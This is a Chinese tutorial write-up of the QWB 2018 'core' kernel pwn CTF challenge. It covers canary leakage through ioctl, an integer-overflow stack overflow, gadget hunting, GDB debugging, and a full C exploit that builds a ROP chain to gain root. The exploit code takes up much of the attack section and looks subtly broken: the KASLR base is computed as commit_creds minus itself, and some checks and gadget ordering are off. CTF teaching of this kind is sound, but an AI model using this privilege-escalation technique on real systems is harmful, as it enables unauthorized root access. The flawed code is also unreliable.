0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

十分基础的一道内核pwn入门题

麦辣鸡腿堡 来源:看雪社区 作者:mb_khygdqmu 2023-02-01 18:01 次阅读

例题:强网杯2018 - core

1.反编译代码分析

文件里面包含了这几个文件

bzImage,core.cpio,start.sh,vmlinux

先看看start.sh

  • qemu-system-x86_64
    -m 128M
    -kernel ./bzImage
    -initrd ./core.cpio
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
    -s
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0
    -nographic \\

可以看到咱们这儿题目采用了kaslr ,有地址随机,所以咱们需要泄露地址,大致思路和用户态一致。这里还注意那就是从ctfwiki上面下载下来的题目是-m 64M,这里会出现运行不了虚拟机的情况,所以咱们改为128M即可,这是内存大小的定义,太小了跑不动。

之后咱们再看看文件系统解压后得到的init脚本:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mv exp.c /
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#setsid /bin/cttyhack setuidgid 0 /bin/sh

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\\n'
umount /proc
umount /sys

poweroff -d 0  -f

从中我们可以看到文件系统中insmod了一个core.ko,一般来讲这就是漏洞函数了,还有咱们可以添加setsid /bin/cttyhack setuidgid 0 /bin/sh这一句来使得我们进入虚拟机的时候就是root权限,大伙不必惊慌,这里是因为咱们是再本地需要进行调试,所以init脚本任我们改,start脚本也是,咱们可以直接把kalsr关了也行,但关了并不代表咱们不管,咱们这一举动主要是为了方便调试的,最终打远程还是人家说了算,咱们值有一个exp能提交。

接着分析init,这里还发现开始时内核符号表被复制了一份到/tmp/kalsyms中,利用这个我们可以获得内核中所有函数的地址,还有个恶心的地方那就是这里开启了定时关机,咱们可以把这给先注释掉poweroff -d 120 -f &进入漏洞模块的分析。

这里可以看到有canary和NX,所以咱们通过ROP的话需要进行canary泄露。

接下来咱们分析相关函数init_moddule:

可以看到模块加载的初期会创建一个名为core的进程,在虚拟机中在/proc目录下。

再看看比较重要的ioctl函数:

可以看出有三个模式选择,分别点入相关函数看

" class="anchor" href="#

这里的read函数就是向用户指定的地址从off偏移地址写入64个字节。而从ioctl中第二个case可以看到咱们居然可以设置off,所以我们可以通过设置偏移来写入canary的值,而我们从ida中可以看到咱们的canary是位于这里。

可以知道相差对于v5相差0x40,所以咱们设置的off也是0x40我们还可以来看看file_operations,(不秦楚的大伙可以看看我的上一篇环境搭建的文章),可以看到他只实现了write,ioctl,release的系统调用:

我们再来看看其他函数,先看core_write:

这里可以知道他总共可以向name这个地址写入0x800个字节,心动

我们再来看看ioctl中第三个选项的core_copy_func

发现他可以从name上面拷贝数据到达栈上,然后这个判断存在着整形溢出,这里如果咱传个负数就可以达成效果了。

1. Kernel ROP

既然咱们可以在栈上做手脚,那么我们就可以利用ROP的方式了,首先找几个gadget,这里的gadget是需要在vmlinux中寻找,我的推荐是用:

objdump -d ./vmlinux > ropgadget \\
cat ropgadget | grep "pop rdi; ret"

这样的类型进行寻找[/md]

1.寻找gadget

如图:对于上面所说的比较关键的两个函数commit_creds以及prepare_kernel_cred,我们在vmlinux中去寻找他所加载的的地址

然后我们可以看看ropgadget文件。

图片

从中咱们可以看到其中即我们所需要的gadget(实际上就是linux内核镜像所使用的汇编代码),此时我们再通过linux自带的grep进行搜索,个人认为还是比较好用的,用ropgadget或者是ropper来说都可以,看各位师傅的喜好来.

以此手法获得两个主要函数的地址后,此刻若咱们在exp中获得这两个函数的实际地址,然后将两者相减即可得到KASLR的偏移地址。

自此咱们继续搜索别的gadget,我们此刻需要的gadget共有如下几个:

swapgs; popfq;  ret;
mov rdi, rax;  call rdx;
pop rdx; ret; 
pop rdi; ret;  
pop rcx; ret;
iretq

师傅们可以用上述方法自行寻找。

2. 自行构造返回状态

虽然咱们的提权是在内核态当中,但我们最终还是需要返回用户态来得到一个root权限的shell,所以当我们进行栈溢出rop之后还需要利用swapgs等保存在内核栈上的寄存器值返回到应得的位置,但是如何保证返回的时候不出错呢?

那就只能在调用内核态的时候将即将保存的正确的寄存器值先保存在咱们自己申请的值里面,这样就方便咱们在rop链结尾填入他们实现返回不报错。既然涉及到了保存值,那我们就需要内嵌汇编代码来实现此功能,代码如下,这也可以视为一个通用代码:

size_t user_cs, user_ss,user_rflags,user_sp;

//int fd = 0;        // file pointer of process 'core'

void saveStatus(){
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          );
  puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}

大伙学到了内核pwn,那汇编功底自然不必说,我就不解释这段代码功能了。

3. 攻击思路

现在开始咱们的攻击思路思考,在上面介绍各个函数的时候我也稍微讲了点,我们所做的事主要如下:

  1. 利用ioctl中的选项2.修改off为0x40
  2. 利用core_read,也就是ioctl中的选项1,可将局部变量v5的off偏移地址打印,经过调试可发现这里即为canary
  3. 当咱们打印了canary,现在即可进行栈溢出攻击了,但是溢出哪个栈呢,我们发现ioctl的第三个选项中调用的函数 core_copy_func,会将bss段上的name输入在栈上,输入的字节数取决于咱们传入的数字,并且此时他又整型溢出漏洞,好,就决定冤大头是他了
  4. core.ko 所实现的系统调用write可以发现其中可以将我们传入的值写到bss段中的name上面,天助我也,所以咱们就可以在上面适当的构造rop链进行栈溢出了

大伙看到这里是不是觉得有点奇怪,刚才不是说要泄露地址码,这兄弟是不是讲错了,就这?大家不要慌,我这正要讲解,从上面的init脚本中我们可以看到这一句:

cat /proc/kallsyms > /tmp/kallsyms

其中 /proc/kallsyms中包含了内核中所有用到的符号表,而处于用户态的我们是不能访问的,所以出题人贴心的将他输出到了/tmp/kallsyms中,这就使得我们在用户态也依然可以访问了,所以我们还得在exp中写一个文件遍历的功能,当然这对于学过系统编程的同学并不在话下。

这里贴出代码给大伙先看看

void get_function_address(){
        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.
        if(sym_table == NULL){
                printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
                exit(1);
        }
        size_t addr = 0;
        char type[0x10];
        char func_name[0x50];
        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.
                        return;
                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found
                        commit_creds = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
                }else if(!strcmp(func_name, "prepare_kernel_cred")){
                        prepare_kernel_cred = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
                }
        }

}

当知道exp思路之后,其他的一切就简单起来,只需要看懂他然后实现即可。

4. gbb调试qemu中内核基本方法

众所周知,调试在pwn中是十分重要的,特别是动调,所以这里介绍下gdb调试内核的方法。

由于咱们的内核是跑在qemu中,所以我们gdb需要用到远程调试的方法,但是如果直接连端口的话会出现没符号表不方便调试的,所以我们需要自行导入内核模块,也就是文件提供的vmlinux,之后由于咱们还需要core.ko的符号表,所以咱们也可以通过自行导入来获得可以,通过 add-symbol-file core.ko textaddr 加载,而这里的textaddr即为core.ko的.text段地址,我们可以通过修改init中为root权限进行设置。

这里.text 段的地址可以通过 /sys/modules/core/section/.text 来查看,

这里强烈建议大伙先关kaslr(通过在启动脚本修改,就是将kaslr改为nokaslr)再进行调试。

我们可以通过-gdb tcp:port或者 -s来开启调试端口,start.sh 中已经有了 -s,不必再自己设置。(对了如果-s ,他的功能等同于-gdb tcp:1234)

在我们获得.text基地址后记得用脚本来开gdb,不然每次都要输入这么些个东西太麻烦了,脚本如下十分简单:

#!/bin/bash
gdb -q \\
  -ex "" \\
  -ex "file ./vmlinux" \\
  -ex "add-symbol-file ./extract/core.ko 0xffffffffc0000000" \\
  -ex "b core_copy_func" \\
  -ex "target remote localhost:1234" \\

其中打断点可以先打在core_read,这里打在core_copy_func是我调到尾声修改的。这里还注意一个点,就是当采用pwndbg的时侯需要root权限才可以进行调试不然会出现以下错误:

最开始气死我了,人家peda都不要root,但是最开始不清楚为什么会错,我还以为是版本问题,但想到这是我最近刚配的一台机子又应该不是,其实最开始看到permission就该想到的。

我们用root权限进行开调:

可以看到十分的成功,此刻我continue,还记得咱们下的断电码,b core_read,如果咱们调用它后咱们就会在这里停下来,此刻我们运行咱们的程序试试。

这样咱们就可以愉快的进行调试啦,至此gdb调试内核基本方法到此结束~~~

5. ROP链解析

这里简单讲讲,直接给图:

图片

相信大家理解起来不费力。

6. exp

本次exp如下,大伙看看:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

size_t commit_creds = NULL, prepare_kernel_cred = NULL;        // address of to key function
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RDI_RET 0xffffffff81000b2f 
#define POP_RCX_RET 0xffffffff81021e53
#define IRETQ 0xffffffff81050ac2
size_t user_cs, user_ss,user_rflags,user_sp;

//int fd = 0;        // file pointer of process 'core'

/*void saveStatus();
void get_function_address();
#void core_read(int fd, char* buf);
void change_off(int fd, long long off);
void core_copy_func(int fd, long long nbytes);
void print_binary(char* buf, int length);
void shell();
*/
void saveStatus(){
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          );
  puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}

void core_read(int fd, char *addr){
  printf("try read\\n");
  ioctl(fd,0x6677889B,addr);
  printf("read done!");
}

void change_off(int fd, long long off){
  printf("try set off \\n");
  ioctl(fd,0x6677889C,off);
}

void core_copy_func(int fd, long long nbytes){
  puts("try cp\\n");
  ioctl(fd,0x6677889A,nbytes);
}

void get_function_address(){
        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.
        if(sym_table == NULL){
                printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
                exit(1);
        }
        size_t addr = 0;
        char type[0x10];
        char func_name[0x50];
        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.
                        return;
                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found
                        commit_creds = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
                }else if(!strcmp(func_name, "prepare_kernel_cred")){
                        prepare_kernel_cred = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
                }
        }
}


void shell(){
        if(getuid()){
                printf("\\033[31m\\033[1m[x] Error: Failed to get root, exiting......\\n\\033[0m");
                exit(1);
        }
        printf("\\033[32m\\033[1m[+] Getting the root......\\033[0m\\n");
        system("/bin/sh");
        exit(0);
}

int main(){
  saveStatus();
  int fd = open("/proc/core",2);              //get the process fd
  if(!fd){
                printf("\\033[31m\\033[1m[x] Error: Cannot open process \"core\"\\n\\033[0m");
                exit(1);
        }
  char buffer[0x100] = {0};
        get_function_address();                // get addresses of two key function
  ssize_t vmlinux = commit_creds - commit_creds;            //base address
  printf("vmlinux_base = %x",vmlinux);
  //get canary
  size_t canary;
  change_off(fd,0x40);
  //getchar();

  core_read(fd,buffer);
  canary = ((size_t *)buffer)[0];
  printf("canary ==> %p\\n",canary);
  //build the ROP
  size_t rop_chain[0x1000] ,i= 0;
  printf("construct the chain\\n");
  for(i=0; i< 10 ;i++){
    rop_chain[i] = canary;
  }
  rop_chain[i++] = POP_RDI_RET + vmlinux ;
  rop_chain[i++] = 0;
  rop_chain[i++] = prepare_kernel_cred ;          //prepare_kernel_cred(0)
  rop_chain[i++] = POP_RDX_RET + vmlinux;
  rop_chain[i++] = POP_RCX_RET + vmlinux;
  rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux;
  rop_chain[i++] = commit_creds ;
  rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux;
  rop_chain[i++] = 0;
  rop_chain[i++] = IRETQ + vmlinux;
  rop_chain[i++] = (size_t)shell;
  rop_chain[i++] = user_cs;
  rop_chain[i++] = user_rflags;
  rop_chain[i++] = user_sp;
  rop_chain[i++] = user_ss;
  write(fd,rop_chain,0x800);
  core_copy_func(fd,0xffffffffffff0100);
}

7. 编译运行

这里有个小知识,那就是在被攻击的内核中一般不会给你库函数,所以咱们需要用gcc中的-static参数进行静态链接,然后就是为了支持内嵌汇编代码,所以我们需要使用-masm=intel,这里intel也可以换amd,看各位汇编语言用的啥来进行修改,我这里用的把保存状态代码是intel支持的。

gcc test.c -o test -static -masm=intel -g

将此编译得到的二进制文件打包近文件系统然后重新启动,情况如图:

成功提权!

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 内核
    +关注

    关注

    3

    文章

    1363

    浏览量

    40228
  • PWN
    PWN
    +关注

    关注

    0

    文章

    11

    浏览量

    16676
收藏 人收藏

    评论

    相关推荐

    ModelSim SE 十分入门

    ModelSim SE 十分入门[table=98%][tr][td][table=98%][tr][td]1.ModuleSim SE 快速入门本文以ModelSim SE 5.6版本为
    发表于 08-12 15:07

    ModelSim SE 十分入门

    ModelSim SE 十分入门
    发表于 08-20 20:33

    十分

    谁能帮我看看VHDL编的十分频图里19行以下不理解了。上升沿q就等于1啊?怎么变0
    发表于 08-31 09:46

    急求一道单片机程序,希望用汇编写的,C语言也可以

    急求一道单片机程序,希望用汇编写的,C语言也可以,麻烦各位大神,不甚感激!一道,两个按键,按键K1按下有三个动作1, LED常亮再按 LED闪烁.每隔0.5s闪次,再按LED闪烁
    发表于 01-02 23:22

    十分钟学会ISE

    十分钟学会ISE
    发表于 03-26 09:39

    一道模电,找人帮忙做下,看看谁能够破解!

    要考试了,老师出了一道设计题在课外完成,占了20,可是模电太难了,真的不会,哪位好心的大侠高手路过的都看下哦,帮忙做下这道
    发表于 06-26 13:23

    关于13年电赛控制

    会不会出两控制啊,一道飞行器,另一道是其他的。。。
    发表于 08-28 19:55

    抛开飞行器,另外一道控制类的是什么,发挥你的想象

    不要再纠结飞行器了,忘了他吧,看看原件清单,猜猜另外一道控制类的是什么?头脑风暴啦!!!{:4_96:}
    发表于 09-01 10:06

    十分钟学会ISE

    十分钟学会ISE
    发表于 09-05 22:49

    单片机8031三:三、四、五。一道10元

    单片机8031三:三、四、五。一道10元,直接发我qq840921270 ,会给第个采用的人直接发支付宝,决不食言,食言剁屌!求助大
    发表于 04-16 17:02

    一道阵列天线方向图的matlab仿真

    大家好,向大家求助一道matlab仿真的题目,由于我研究生是转的专业,天线方面的知识非常薄弱,但这道题目是课程考核,做出来才有这门课的学分,所以无奈来此向大家求助……如有违反论坛规定,请将此贴删除
    发表于 05-04 23:24

    为什么我的电脑最近AD软件十分卡顿?

    最近突然电脑的AD软件变得十分卡顿,版本是16.0.5和9推测可能是以下问题:1.ad9和ad16不兼容(之前直相安无事,而且最近是两个软件都变得十分卡顿)2.电脑配置(i7 6700 + 8g +核显 ,之前也没有丝毫问题)
    发表于 09-02 04:07

    一道比较有难度的完美矩形

    今天讲一道非常有意思,而且比较有难度的题目。 我们知道个矩形有四个顶点,但是只要两个顶点的坐标就可以确定个矩形了(比如左下角和右上角两个顶点坐标)。 来看看力扣第 391 「完美
    的头像 发表于 01-04 14:17 2211次阅读

    vm-pwn入门

    亲爱的,关注我吧9/21文章共计2761个词预计阅读7钟来和我起阅读吧引言之前直没去了解过vm-pwn,做些题目对vm-
    发表于 12-22 18:51 2次下载
    vm-<b class='flag-5'>pwn</b><b class='flag-5'>入门</b>

    Linux内核pwn基础知识

    Linux内核pwn之基础rop提权 1. linux kernel pwn kernel 也是个程序,用来管理软件发出的数据 I/O 要求,将这些要求转义为指令,交给 CPU 和计
    的头像 发表于 02-01 17:53 1725次阅读
    Linux<b class='flag-5'>内核</b><b class='flag-5'>pwn</b>基础知识